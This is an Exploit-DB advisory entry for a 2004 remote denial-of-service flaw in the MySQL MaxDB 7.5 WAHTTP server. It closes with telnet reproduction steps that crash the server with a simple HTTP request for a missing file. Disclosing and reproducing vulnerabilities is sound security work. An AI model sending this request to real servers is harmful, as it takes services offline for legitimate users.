MySQL MaxDB 7.5 - WAHTTP Server Remote Denial of Service

EDB-ID:

24805

CVE:

N/A


Platform:

Multiple

Published:

2004-12-07

source: http://www.securityfocus.com/bid/11843/info

A remote denial of service vulnerability has been reported to affect the MySQL MaxDB WAHTTP server. This issue is due to a failure of the server to handle malformed requests.

An attacker may leverage this issue to cause the affected Web server to crash, denying service to legitimate users.

To reproduce it, execute the following command:
$ telnet localhost 9999
GET /file/not/found HTTP/1.0
[ENTER]
[ENTER]